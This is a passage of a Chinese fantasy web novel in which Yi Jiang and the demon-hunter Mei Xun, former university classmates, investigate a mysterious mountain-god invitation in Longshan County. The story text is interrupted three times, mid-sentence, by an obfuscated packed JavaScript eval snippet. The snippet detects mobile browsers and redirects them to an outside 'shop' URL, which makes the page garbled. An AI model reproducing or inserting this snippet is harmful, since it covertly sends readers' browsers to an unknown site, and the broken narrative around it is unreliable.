这种掉马现场,两个人都略显拘谨。 没等到宜姜的回答,梅询撑着车门的手不由自主地紧了紧,他低头看了看自己的衣服,把自己的头发抓了抓,露出了眼睛。 这个时候,那个穿着道士服的男人却突然起来,趁着两个人都在车里,慌不择路地往外跑。 梅询一个没注意,这人已经跑远了,但他也没有要追的意思。 宜姜在心里叹了口气,还是从车里下来,两个人找了个路边的小餐馆坐着。 宜姜点了几道菜,先开口问:“那个假的偷了你的东西假装成妖梅了?” 梅询端端正正地回答:“对,之前没注意,项链就被偷了,我这段时间一直在查他的踪迹。” “这么说,你就是捉妖师里的妖梅了?” “嗯对。”梅询垂下头看着桌子上的菜单,再次用手抓了抓自己的头发,“那个冒牌的答应了你什么事情,能做的我来替他完成。” 宜姜摇了摇头:“没什么,毕竟钱还没付给他,对我而言也没造成什么损失。” “终归是他顶了我的名号。” “真没什么。” 被拒绝了两次,梅询却没见好就收,他联想了一下最近自己身上出现的和捉妖师有关的东西,只有那封奇怪的绿色请帖了。 “你找捉妖师是为了那封山君帖?” 宜姜本来还在想等会怎么和宜明喆解释现在的情况,听到这话,嘴比脑子更快做出反应:“你怎么知道的山君帖?” 梅询把帖子拿了出来,依旧是绿色的样式,上面有着一个“梅”字。 也对,宜家都收到了帖子,捉妖师也基本能收到,宜姜想。 既然都讲到这里了,宜姜也把自己在老宅拿到的那封山君帖拿了出来。 梅询看着帖子上的那个“宜”字,略显不解地问:“你是哪一脉的?” 宜姜抬头看了他一眼,自己的姓一直没变,再加上山君帖的事情,面前这人应该很容易就猜出自己的身份,再不济也能缩短范围,但他居然不知道。 “当然是宜家。” 讲到这,宜姜严肃了起来,她问:“你也要参加这次的山君宴?” “参加。” “如果不是必要的话,我给你个建议,还是别参加了。当然,这只是我的一个想法,没有强迫你的意思。” 梅询抬眼,眼里满是坚定:“我有必须要参加的理由。” 行吧,宜姜轻轻敲了敲桌子,两个人搭伙参加山君宴肯定比一个人参加好,但是也会暴露自己的一些东西,再加上是大学同学的尴尬关系,他们还是各走各路为好。 想清楚了之后,宜姜正准备开口,却被梅询抢先了。 “学委,之前那个冒牌货做的事情我都能做,报酬我只要你们原定的一半,这次宴会你要我怎么做我就怎么做。” 一个快一年没被叫过的名讳,在这样的场合被叫出来,宜姜咽了咽口水,本来打算拒绝的心也停了下来,她记得大学的时候她有看到过梅询的个人资料和一些申请表。 这个时候,梅询继续说:“三分之一的报酬,四分之一也可以,或者你看着给。” 宜姜心软了一下:“那就一次,就这次拜帖,结束我们就各走各路,以后生活中遇到了就假装不认识。还有,直接叫我名字就好。报酬我还是按照之前的条件给你。” 梅询的脸色缓和了下来。 宜姜看菜迟迟没上来,和梅询打了个招呼就走得远了一些去打电话,梅询的视线一路跟过去。 远在老宅的宜明喆接到了宜姜今天的第三个电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470796|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话:“又怎么了?” 宜姜把事情快速讲了一遍,末了,她三言两语把解决方法也给了出去,只是瞒下了真梅询的事情:“那个冒牌货你们让附近的人手去找一找,应该走不远。” “你都想好了,直接和附近的人手联系就行。” “你联系吧,我就和你报备一下,别和我爸妈他们说。” 挂了电话,宜姜脸色不太好看,今天这一遭完全打乱了她的计划。 但等回到店里的时候,她已经把心情调整好了,脸上毫无破绽。 梅询悄悄地松了一口气,他差点以为宜姜是要跑了。 “你具体知道山君宴些什么?” 梅询努力回忆了半天:“诸山有灵,神明在上,三合吉日,山君娶亲。山君宴是一场关于山君的娶亲宴会。” 宜姜点点头,肯定了他的说法:“是这样说没错。” 诡异的沉默再次蔓延开来。 宜姜虽然也想过自己马甲被扒的意外事件,但是也没想到是这样的场合被这个人扒,这种尴尬的事情为什么会在同一个人身上出现一次又一次啊! 梅询见她不说话,也默默低头吃饭。 一阵电话铃声救了宜姜,宜姜看着电话联系人的名字,看了梅询一眼,梅询特别有眼色地指了指点菜台:“我去付个钱。” 宜姜等人走了,才接起电话,语气也不像之前那么平淡,反而变得温温柔柔的:“以菱,怎么啦?” “呼,姜姜,没打扰你吧?”电话那头是个年轻女孩子的声音。 “没打扰。” 于以菱松了一口气:“没打扰就好,你之前不是因为搬家,在我这里寄存了你大学时候养的植物吗?这段时间我给它浇水可能是浇多了,不过我已经去找那种专门的人看过了,但是我真的害怕它被我养死。” 宜姜笑了一声:“不用担心,我马上就回来了,最多也就三四天。” …… 梅询向餐馆的老板要了账单,看了看最后的价格,他忍不住皱了皱眉头。 他没第一时间扫码,而是点进银行卡里看了看余额,又算了算,这才扫码付钱。 付完钱,梅询也没着急回去,而是在前台又站了好一会,确认宜姜打完电话了,他才走了过去。 “我们接下来去哪?” 宜姜看了看时间,边向外面走边说:“去湘西的龙山县,上次宴会开在那,按照惯例,这次的拜帖也从那附近开始。” 梅询不解地嗯了一声:“上次?” 两个人都上了车,宜姜才回道:“应该是元朝那时候,等等,你家长辈没和你说吗?” 梅询摇了摇头:“我师傅前几年就去世了。” 宜姜等自己说出口了才反应过来,之前梅询的家庭情况父母那一栏他填的都是无。 “那我和你先说说吧。据我所知,能收到山君帖的,大部分家族都和山有关,山神赋予了我们这些人一些能力,能让我们在整个世界长久地生存下来。所谓的山君宴其实和河神娶妻差不多,也算是我们这些依靠山生活的人家对山的一种答谢。” 梅询眯了眯眼睛:“所以,这个山君帖是我们的人发出来的?就是假借了一个名号?” “那倒不是。”宜姜一脸古怪地看向他,“他们说,那是真的山神。” 听到这,梅询更加困惑了。 “很矛盾是吧?我当时看到的时候也觉得,前言不搭后语的,甚至有些地方都是完全对立,但这些东西就这样一代又一代地传了下来。” 5. 第四章 龙山县位于湖南省西北边陲,县内自然景观和人文历史交相辉映,是湘西神秘面纱中不可缺少的一环。 宜姜打了个哈欠,车从高速上刚下来,她就把车速慢慢降了下去。 梅询在副驾开口:“怎么了?” “没事,我看看接下来怎么走。”宜姜边说边在导航地图那缩了缩,用指尖左右滑来滑去,她记得,龙山县也有宜家的据点,在哪来着,时间太久她都有点模糊了。 算了,宜姜把导航退出,熟练地又拨了一个电话出去,这次不是打给宜明喆的。 “我,宜姜,宜明喆应该之前给你们打过招呼,你把定位给我发一个,我现在快到了。” 是个男人的声音,梅询垂下头,手把衣角拽得紧紧的,但很快又松开了。 把收到的地址输进导航里,宜姜心里啧了一声,开错了,还得绕过去。 在旁边不怎么说话的梅询突然问了一句:“毕业一年,你过得怎么样?” “我过得还可以啊,你呢?” “也还行。” 宜姜努力稳住心态,这种涉及到毕业大学的话题,真的会让她有一种马甲被扒的羞耻感。 照理说,按照两个人的性格,在大学也不太会有很多交集,更何况,宜姜是大二开始才替自己休学的舍友当学习委员,和班上同学也没那么熟。 而且,关键是他们这个班大一结束之后进行了一次重组,所以大家的学号顺序都完全乱了。 当时班上有个男生经常不交作业,宜姜和他手机上也联系不上,查看表格的时候发现他学号的下一个男生,也就是梅询,按照宜姜她们自己寝室分配的规律,这两个学号相近的男生应该是在同一个寝室的。 宜姜当时也没什么办法,于是就拜托梅询催一下那个同寝室的男生快点交作业。 就这样进行了一年半,结果宜姜突然看到了自己班的寝室分配表,他们俩根本就不是一个寝室的。 这也意味着,她每次拜托梅询催交作业的时候,梅询也是这样在手机上催那个男生交作业的。 在梅询的角度来看,就是不太熟的学委一直莫名其妙把他当做传话筒。 这是什么社死现场! 从那之后,宜姜就再也没和梅询说过什么话了,她都恨不得和梅询单方面是陌生人。 幸好这件事没几个人知道,不然真的是会尴尬到毕业。 梅询冷不丁开口打断了宜姜的回忆:“那里是你们宜家的据点吗?” “啊……?哦,是的。” 梅询声音低了几度:“那我是不是不太方便过去?” “没事啊,到时候他们要是问起来,你就说,你是守鞘的。不过,他们大概率是不会问的。” “守鞘的?”梅询一个字一个字念了过去,他不是很懂,应该说,他对捉妖师这个东西以内的所有事情都处在一个模模糊糊的概念里。 宜姜耐心地回答:“也就是伙伴,一起出来工作的,只是我们取了个高大上的名字。” “原来是这样,我知道了。”梅询点点头,又补充道,“我不会给你造成什么麻烦的。” 这有什么好麻烦的,宜姜本来想这样说,但考虑到什么,她还是软了语气:“不会,我们本来就是一路的,再说了,我可是要付钱的,你不是还要帮我做事吗?钱货两清而已。” 梅询自从和宜姜上车,一路上都没有太大的情绪波动,听到这段话,突然勾起嘴角笑了笑:“守鞘的有什么要做的吗?” 宜姜在心里嘟囔:那要做的可多了,守鞘守鞘当然就是要确保里面的东西不会受伤,再者也起到了一个威慑的作用。 想是这样想,但宜姜开口的时候却完全变了:“没什么要做的,只是做个搭档而已。” 说完,她还煞有其事地点点头,显得很郑重的样子。 ****** 俟裕一放下电话,就很激动地和大伙说:“这一代的骨瓷要来。” 所有人都激动了起来。 “之前上面通知的原来是真的!” “什么时候什么时候?” “就骨瓷一个人吗?我记得之前上面说还有一个守鞘的。” “前几天通知刚下来,我就把房间全准备好了。” 俟裕想了想,电话里宜小姐没说那么清楚啊。 宜姜把车靠边找了个空位停下,把之前摘下来的口罩重新戴上,梅询在副驾又抓了抓自己的头发。 “给你。”宜姜余光一瞥,从后座拿了一个帽子和口罩递给他,“戴上吧,谁知道来参加拜帖的会是什么人呢?” 梅询接过东西:“谢谢。” 两个人把自己捂得严严实实之后才下车,宜姜把行李箱搬下来,指了指前面那栋房子,示意梅询跟上。 “铃铃——” 宜姜刚把门推得大了一点,正侧身让梅询先进,里面就响起了整齐的一阵声音——“宜姜小姐好!” 宜姜无语地在原地愣了几秒,还是等梅询进来了才关门。 两排人就在入口那站着,直挺挺地看着两个人,对宜姜有尊敬期盼,对梅询却只有好奇。 宜姜摆摆手:“散了吧。” 其他人听话地都散开,俟裕跟上,接过行李箱:“宜姜小姐,房间已经准备好了。” 宜姜指了指在背后跟着的梅询:“守鞘的,单独也给他安排一个房间。” 俟裕看着同样把脸包得严严实实的男人,还挺高,比自己都高半个头。 “都安排了,之前上头通知过。” 听到这些都被安排好了,宜姜点点头,转头和梅询说:“等会你先别着急回房间,和我一起先处理这个拜帖的事情。” 梅询点点头,闷闷的声音透过口罩传了出来:“没问题。” 俟裕在前头边领路边说:“宜姜小姐,这位……” 梅询:“我姓梅。” 姓梅啊,俟裕继续说下去:“这位梅先生,这段时间因为已经被通知过了,我们这也做了不少调查。这两天,龙山县的陌生面孔多了很多,而且这些外乡人也不是来旅游的,大部分都在酒店里待着,偶尔出来在街上走走。” 宜姜眨了眨眼睛,看来,最近龙山县来的拜帖者可不少啊。 她想到些什么,突然问:“最近有出什么事情吗?” “没出什么事,这次他们都很安静,完全没有起冲突,就算是一些对立的家族也忍着没打起来。” 梅询心里默默记着,自从五年前梅和初去世之后,他基本上就和捉妖师相关的所有东西说再见了,这些东西他完全不知道。 很快,地方到了,这栋屋子在外面看来面积不大,但进来了才发现别有洞天,里面四通八达。 俟裕带着两个人进去,把钥匙交给了他们:“宜姜小姐,这里一条街已经被我们买下来了,这是钥匙,从这边可以直接到街那边,平常也比较安静,没人会来打扰。” “我知道,你等会找个人过来,给我具体讲讲那些陌生外乡人的资料。” 梅询接过钥匙之后就好像这串钥匙烫手一样,时不时就拿着钥匙动两下。 宜姜推开门:“进来吧,这里也没别人了,就住几天,拜帖结束我们就走。” 梅询把行李箱搬了进去。 “你晚上自己找个房间睡就行,你有带什么行李吗?” 梅询略显拘谨地摇摇头:“我没带什么。” 宜姜开了个门把行李箱放进去,接着出来和梅询说:“没事,等会我让他们送几套衣服来就行。” “可以,谢谢,我等会把钱转给你。” 宜姜周围观察了一下,这里居然还有热水,什么都准备得很充足。 她找了张凳子坐下,也招呼着梅询一起:“不用了,反正花的也不是我的钱。” 说着,宜姜朝他挤眉弄眼了一下。 梅询却突然低下头,把口罩拿了下来,实在太闷了。 宜姜却没有动,这么多年,她这样都习惯了。 “不过,宜姜,为什么你在宜家据点也一直带着口罩?” 宜姜转过头,眼睛弯弯:“工作是工作,生活是生活,我不希望把这两个混在一起。” 工作,梅询在心里默念了一遍,宜家这个山君帖的事情对她而言只是个工作。 “你这些年也一直在做捉妖师吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470797|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梅询回答:“也没有,只是这次的山君帖让我来湘西了。”也许还要加上那条被自己弄丢的项链。 宜姜点点头,超绝不经意地开口:“大学的时候都看不出来。” 梅询低声笑了笑:“我大学也没看出来你也是这类人。” 正说着,门被敲响了。 “宜姜小姐。” 宜姜用视线示意梅询把口罩戴上,然后才去把门打开。 一个娃娃脸的女孩子站在门口,手里还拿着一沓资料,看见宜姜,她笑得眼睛都眯起来了。 “宜姜小姐!我来和你汇报一下最近的情况。” 宜姜让开了身体,让她进来,又惊讶地问:“你多大了?” “我叫程沐,今年19岁了。” 宜姜上下看了她一眼,怪不得看起来好小的样子。程沐把资料放在桌子上,正准备开始讲。 宜姜打断了她:“先喝点水,这个不着急。” 程沐接过宜姜的水,慢慢喝了一口水。 “谢谢宜姜小姐。”程沐放下了水杯,“我还是把消息先讲一遍吧。” 宜姜也不强求,坐回梅询旁边,轻轻撞了他一下,眼神里示意接下来要认真听了。 梅询正了正身体。 “这几天我们把外来人都调查了一遍,把那些奇怪的人全挑了出来,能拍的照片都拍了,有些人能对得上号,但有些就没办法了。” 说着,程沐把照片从桌子上推过去。 “这几个,是确定的,应该是刚出来没多久的新人,没什么防备心,也一眼能看出他们属于哪一家。比如,这个第一张照片的人,应该是问米婆一脉的,他到这的第一时间就是去米面店买了糯米,还有去葬店买了香,这一代问米婆的执行者据我们所知,应该叫容莺莺。” 宜姜仔细看着照片,照片旁边很贴心把他们的来历姓名都写了写,梅询看得比她还要认真,每一张脸他都力求刻在脑子里。 “继续,还有呢?” 程沐等两个人看完了,继续往下说:“除了这些人,外乡人里还有一些局外人。他们像是不知道这里的事情,但又和其他来游玩的游客表现得完全不一样。我们出了几个人,去挖他们的底细。” “他们身上有山君帖,但那些帖子不仅是假的,而且上面的姓和本人完全不一样。问到最后,他们也只是说有人把这东西给他们,让他们来这里等着,但要做什么他们也不知道。” 宜姜垂下眼,敲了敲桌子:“这些人多不多?” “不多,就几个,我们都控制住了。” 梅询却突然抓住了什么漏洞,他皱起眉头问:“你们把那些人放在哪里了?” 宜姜也一瞬间明白了他的关注点,这些人不像是搅局的,反而更像是钓鱼,钓他们这些真正有着山君帖的人。 不好。 宜姜警觉起来,今天自己来到这,也一定引起了别人的注意。 程沐慢了半拍,但也想到了,她的表情瞬间惊悚起来:“宜姜小姐,你们得先走!你暴露的可能性很大,从后门走,这里我们这段时间都没打开过。” 宜姜看见一道身影从自己身边一闪而过,梅询冲去房间给她拿箱子了。 三个人慌慌张张地从后门出去。 程沐送走了宜姜两个人,又做贼似的左右看了看,这才把门又紧紧关上。 再次回到车上的两个人面面相觑,宜姜突然绷不住笑了起来:“幸好我们俩还戴着口罩帽子。” 梅询也弯了弯眼角,但又马上回到正经事上:“那我们要去找那个做局的人吗?” 宜姜摇摇头:“刚才太慌张,我一时间没想到。我现在细想一下,大概也是其他和我们一样有山君帖的人吧,就像我们会调查那些外乡人一样,有些人也想知道来参加这场拜帖的有多少人。” “我们这段时间就要躲着他们?” “去酒店,我记得他们大多数都集中在同一个地方。” 梅询不可置信地看了她一眼:“在同一个酒店,我们暴露的不就更快了吗?” 宜姜转过头,手靠着方向盘支起下巴:“你以为我们现在就没有被人看见吗?” 6. 第五章 “走走走,在这里。” 人还没见到,但声音已经传进酒店里了,酒店前台仔细听了听,这个声音和之前打电话来预订房间的女生声音很像。 宜姜从门口进来,后面跟了个拿着行李箱低头沉默的梅询,酒店大堂坐着不少人,见有人来了,视线都不由自主地往他们俩身上瞟过去。 宜姜没什么反应,只是往前快走了几步,在前台把两张身份证放了上去:“开房,我之前预订了的。” 梅询则在努力容忍着那些视线,毕竟有些人已经不算瞟,而是在盯着了。 “宜小姐,这边请,电梯可以直达。” 这句话一出,大厅里所有人的目光几乎都集中在了宜姜身上。 等两个人都进电梯了,大厅里才窸窸窣窣起来。 “姓宜,又带了一个人,应该是那家人没错了。” “这一代的骨瓷居然是个女的。” “她怎么也来酒店住?” “这么说,那一家应该是不会来这了。” …… 等回到了房间,梅询才松了一口气,结果发现,这口气是松早了,宜姜的行李箱被他顺手拿回自己房间了。 宜姜正要发消息让梅询悄悄过来,结果门就被敲响了。 “是我。” 宜姜打开门,梅询把行李箱提了进来:“行李箱忘记给你了。” “正好。”宜姜把门一关在床边坐下,还拍了拍床示意梅询一起坐,“在大堂我看到了不少熟悉的人。” 梅询摇摇头,另外搬了张凳子坐:“要我去盯着他们吗?” “那倒不用,不过,你可要保护好我,毕竟在他们面前,你是守鞘的嘛。” 梅询愣愣地点点头:“我会保护好你的。但是守鞘的究竟是什么意思?” 宜姜把窗帘一拉,把帽子口罩一摘:“宜家一脉,以器为生,简单来说,就是能做出一些稀奇古怪的东西,但这几年除了开窑也很少有其他的了,扯远了哈哈哈。因为本身我们就只是个铸造器物的,很容易被人抢,于是祖上就雇了一些打架厉害的来保护自己,这些人统称为守鞘者。” 开窑,是宜家一脉对于铸造器物的统称。 “你之前守鞘的应该不是这次的那个冒牌货吧?” “不是啊。”宜姜拍了拍脸,戴口罩戴久了,脸都绷紧了,“我没有守鞘的,一般都是我自己出任务,或者就是一大群人跟着。” 梅询再次盯着宜姜的眼睛,说了一句:“我会保护好你的。” “装个样子就好啦,应该也不会有人想不开来抓我,毕竟能代表宜家在外面参加山君宴的一般都是宜家骨瓷,我被抓了,宜家是真的会不死不休的。” 骨瓷,又是一个没听过的名词,梅询藏在口罩下的嘴唇不自主地抿了抿。 “对了,之前说好的要给你拿几套衣服,结果就出了这些事,等会我让俟裕给你送过来。” “不用那么麻烦。” 宜姜却用强硬的语气说:“这怎么可以,说好的就是说好的。” “那就谢谢你了。” 才见面没多久,宜姜在心里想,这人都说了多少句谢谢了。 两个人同时沉默了一会之后又同时开口—— “我之前……” “我……” 宜姜笑了一下:“你先说吧。” “还是你先说吧。” “好吧。我大二是真不知道你和方连宇不在一个寝室,按照学号你们俩是挨着的,我以为分寝室也一样,于是就,让你催了他好几次作业。” 梅询没想到宜姜说的是这件事,先是不可置信地睁大了眼睛,然后又轻笑了一下:“是方浩宇吧。没事,你不说,我都记不起来了。” 听到这话,宜姜内心又开始懊恼,人家都记不住了,结果自己这一提又让他想起来了,更社死了。 “嗷……嗯……嗯那挺好的啊。”宜姜尴尬地说,飞快扯开话题,“你刚刚想说什么来着?” “我其实,平常不是这样的。” 宜姜疑惑:“什么?” 梅询又抓了抓自己的头发,叹气道:“就是……唔……怎么说呢……这次是为了出来找项链所以着急了一些,什么都没带,平时我还是挺注意着装的。” 知道梅询在说什么之后,宜姜笑了一下:“好,我知道了。” “把口罩摘了吧,这里也没人,暴露不了什么。”宜姜又补了一句。 梅询听话地把口罩摘下来,这个时候,宜姜才认认真真地看到了他的正脸。 之前被他茂密顺直头发遮住的眼睛正好露了出来,浓重近乎于黑色的瞳孔本该干净利落,但却显得雾蒙蒙的,睫毛轻轻颤动着,察觉到宜姜的视线,那双眼睛又垂下了。 宜姜也下意识移开了看他的眼神,突然想起了什么似的问道:“你毕业之后就在湘西这一片工作吗?” “是在湖南这一片,这段时间只是因为刚好在这附近有工作。” 宜姜顺口接了句:“出差啊?” “也……也算是吧。”梅询反反复复摩挲着自己的手指,努力波澜不惊地回答。 宜姜正要说些什么,梅询突然抬起头,无声地说了一句——“有人”。 宜姜的脸色凝重起来,也无声地问了一句:“在哪?” 梅询指了指厕所。 “你确定吗?” 梅询再次点点头。 刚进房间的时候,宜姜就把所有地方全检查了一遍,确认没什么问题了才放下心打算叫梅询过来的,结果现在,那个卫生间居然有人。 且不说这人是谁,就光是怎么进来的这一条,就让宜姜百思不得其解了。 梅询指了指自己,又指了指厕所,接着指了指宜姜,让她在这里等着。 宜姜郑重地点点头,比了个OK。 安顿好宜姜之后,梅询轻手轻脚向厕所靠了过去,等到门口的时候,他右手慢慢靠上了门把手,宜姜只看到他手在接触门之后就亮了一下,接着梅询就把门拉开了。 接下来就全被挡住了,宜姜无聊地探过头,却只看到梅询手里好像抓着个黑色的东西。 不一会,梅询就出来了,宜姜这才看清楚,那个所谓的“人”是一只黑色的猫咪,还是年幼版,小小的一团。 “是小猫?” 梅询无可奈何地点点头:“已经跑了,只剩下这个载体。” 宜姜接过他手上的猫猫,忍不住摸了一把,疑惑地问:“什么载体?” “有人把自己的意识打入这个猫体内,潜伏在浴室偷听,不过它刚出现我就感受到了,也没被听到什么。” “意识,打入?”宜姜沉迷撸猫,但还是思考了一下,“我记得那个谁,叫什么来着,想起来了,是你们捉妖师的四支脉之一吧?” 捉妖师的四脉,梅询都很久没听到这个了,他努力回想了一下:“应该是没错。” 小猫被摸得不太舒服,挣扎了一下,从宜姜手里跳出来,但也不逃跑,反而在房间里巡视领土。 “你们捉妖师还分别收到山君帖的?” 梅询也一脸不解:“我和其他几脉都不联系,所以具体的也不知道。” 宜姜招了招手,又把小猫重新抱了起来,她边慢慢摸着小猫脑袋边说:“再次建议你,这次宴会你还是不参加去赔礼吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470798|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梅询知道她在说什么,自己对捉妖师行当的事情都一知半解的,还要坚持去山君宴简直就像是去捣乱的。 但他依旧固执地说:“我会回去补的,只是很久没有发生这方面的事情了,所以都忘得差不多了。” 宜姜垂下眼:“随你。” “你生气了?” 宜姜看向他:“没有啊,只是一个建议,你不采纳也没什么。” 梅询慌忙想继续解释:“我……” 宜姜笑了笑,打断了他:“我真没生气。” “这只猫。”讲完该讲的,临出门前,梅询转过头顿了顿说,“先放我那里吧?” 宜姜歪了歪头:“你喜欢小猫?” “一般般。” “那就放我这里吧,我明天让俟裕拿回据点养着。” ****** 夜色渐深,房间里静悄悄的,只有若有若无的呼吸声。 原本趴在桌子上的小猫突然无声抽了一下,接着睁开了眼睛,那双眼睛却是全白的,眼珠子也不转动,显得无神又可怖。 它就这样跳下了桌子,轻飘飘地落在地上,慢慢地朝床上走过去,轻轻一跳又爬上了床。 床上的身影好像察觉了什么似的突然翻了个身,小猫默默地趴下,用被子遮住了自己的身体,那个人却不动了,又睡了过去。 小猫重新站了起来,那张脸上出现了一个酷似人的表情,它微笑着,然后就这样顶着一张假笑的脸朝人的脑袋冲了过去。 下一秒,它的脖子就被一只纤细的手掐住了。 “烦死了!”宜姜支起身子,另一只手摸索着打开了床边的灯。 小猫脸上的表情一下子变成了惊悚害怕,它发现,它居然不能像白天那样从这具黑猫的身体里逃出去了。 宜姜掀开被子,掐着这个非猫非人的东西下了床,穿着拖鞋气势汹汹地走到桌子边坐下。 “说吧?你是哪家人?” 它不说话。 “就找宜家的下手,是觉得宜家只会开窑只能挨揍是吧?” 宜姜越想越生气,自己刚准备睡觉就被这个东西找上门了,还专门挑的晚上,罪不可恕。 想着,她把手渐渐收紧了些,但想到小猫最终还是松了松。 “对……对不住,我不知道你是……宜家……我会……赔礼的……” 宜姜看着出现在桌子上的血字更生气了:“你是来找妖梅的?” 血字开始变换:“是。” “这几年没什么联系,突然找他要干嘛?” “有……事。” 宜姜又想了想妖梅的资料,能公开知道的都没有什么用,她继续问:“你是为了山君帖来的?” “不……是。” 那宜姜想不出来了,她随口一说:“是为了这一代妖梅本人来的?” “是……” 问到这,宜姜就没问下去了,很多东西点到为止就好,她慢慢松开了手,那个在小猫身体里的东西逐渐活跃起来,就在它要逃出去的那一刻,宜姜突然隔空画了个符号,紧接着,那个东西惨叫了一声消失不见了。 “喵?”小猫一睁眼就看到宜姜在自己身边,非常困惑地叫了起来。 宜姜摸了摸它,轻声安慰道:“没事,睡吧睡吧。” 与此同时,在这个酒店的某个房间,一个男人突然捂住了自己的脑袋,下一秒直接吐出了一口血。 这次,算是碰到硬茬子了! 他擦了擦嘴边的血,打算把那东西的记忆读取一下,但下一秒就气得又要吐血了。 什么都没留下,自己就这样白挨了一顿打,果然今日诸事不宜。 7. 第六章 九月的天说变就变,昨天还是艳阳天,今天就变成了大暴雨,雨声噼里啪啦的,吵得人心烦,宜姜就是在这样的环境里醒过来的。 有点睡眠不足,宜姜揉了揉自己的眉心,脑子涨涨的,但她还是起来了。 小猫也活泼了起来,在床上蹦来蹦去,时不时喵喵叫几声。 梅询在门口敲了敲门:“宜姜,是我。” 把人放进来之后,宜姜把昨天晚上的事情和梅询交代了一下,末了,她看了他一眼:“是你们捉妖师内部的事情,你要小心啊,他们是冲着你来的。” 听到这个,梅询关心的却不是最后的那一句话,而是皱了皱眉头道:“他们有弄伤你吗?” “我没事啊,我身上有宜家的东西,没那么容易受伤。” 梅询指了指她的手肘:“你这里受过伤吧?还是不久前。” 这下子宜姜算是震惊了:“你怎么知道?” “你拿行李箱每次最开始用的是另一只不常用的手,而且手靠桌子的时候你会无意识地避开这个地方。” 有点厉害,宜姜想。 见宜姜不太想说这方面的事情,又或者是觉得这句话过于冒犯了,梅询换了个话题:“我们就在酒店里等着山君帖显示拜帖地点?” 宜姜摸了摸之前受伤的地方,抬头解释:“对。不过等会我要出去一趟,你不用跟着。” “你要去哪?不用守鞘的跟着吗?” 宜姜指了指小猫:“把猫送回去,然后还要处理一些宜家的事情,你跟着不方便。” 梅询张了张嘴,还是没说什么。 “对了,你那位捉妖师的同行就在这个酒店里,要躲着还是要去见面,你自己看吧。” 梅询:“你现在就走?外面现在下那么大雨。” 宜姜却干脆利落地说:“现在就走,早办完早结束呗。” 梅询把戴着口罩的宜姜送到电梯口,宜姜就摆摆手让他回去了。 等电梯门一关上,宜姜笑着的眼睛瞬间变得凌厉起来,她摸了摸继续想挣扎逃跑的小猫,强硬地禁锢住了它的行动。 一人一猫就这样上了车,宜姜启动车子,直直向据点开过去,俟裕已经撑着伞等在门口了。 “宜姜小姐。”俟裕把伞撑着等着宜姜出来。 宜姜却只是从车窗递过去了一只小猫:“路上捡的,养着玩吧。” 说完,宜姜自己打开伞从车里出来。 雨下得实在太大了,到处都雾蒙蒙的,雨滴砸在伞上的力度尤其大,才走了几步路,宜姜的裤子就湿了,紧紧地贴在小腿上,风一吹还凉飕飕的。 “快进来。”程沐把着门喊。 宜姜一进门,先甩了甩裤子,因为穿的是黑色,湿透了还是挺明显的。 程沐接过俟裕手里的猫,也注意到了宜姜的动作:“宜姜小姐,要不换套衣服?” “不用。”宜姜摆摆手拒绝了,转过头对着俟裕说,“查得怎么样了?” 程沐看他们要谈正经事,抱着猫先退下了。 俟裕边跟着宜姜往里走边汇报:“查不到。” 宜姜脚步一顿:“是哪种查不到?” “这位捉妖师梅询,他几乎就没在外面展示过他捉妖师的身份,在我们这道几乎算是查无此人,要不是您带他过来,我们可能都不知道。” 宜姜的眼神暗了暗,实在是这次和梅询的见面过于巧合了,就像是有人安排好的一样,而且为什么偏偏姜桃托人找的捉妖师居然是个近几十年都没消息的妖梅。 为了怕这个人是假冒的,宜姜还时不时说了很多大学时候的事情,直到她确定,这个妖梅就是她的大学同学梅询。 但也很难不怀疑这个人有其他问题,正好,梅询说他毕业后都在湖南,于是,宜姜就让俟裕暗地里去查了。 但是这个结果出乎她的意料。 宜姜继续问:“还有什么吗?” 俟裕犹豫了一下,似乎是不知道该怎么说,他把查到的资料从柜子上拿出来递给了宜姜。 在宜姜翻看的时候,俟裕解释:“梅询这个人在我们这道算是查无此人,于是我又托人在普通人那里打听了一下,就打听到他是一年前来的湖南,在湖南也没有长久的工作,一直是在打零工,但是按照他的能力,他应该是能找到一份正式的合同工的。” 宜姜皱着眉头把东西翻完了,这里记录的梅询和她印象里完全不同。 俟裕最后总结了一句:“看样子,按照他找零工的频率来看,他应该很缺钱。” “他一直一个人?” “一直,也没有什么朋友家人,他时不时就换个地方找工作,连稍微走得近的人都没有。” 宜姜突然想到了什么,问道:“之前那个冒牌货问出什么了没有?他是怎么偷的项链?” 俟裕回答:“很正常,没什么不对劲的地方。据他所说,项链是他去梅询家里偷东西的时候顺手拿的。” 宜姜把东西放下,敲了敲桌子,这人暂时是没什么问题了,起码不是冲着宜家来的。 “对了,之前那几个有假山君帖的人,查出来是谁布下的陷阱了吗?” 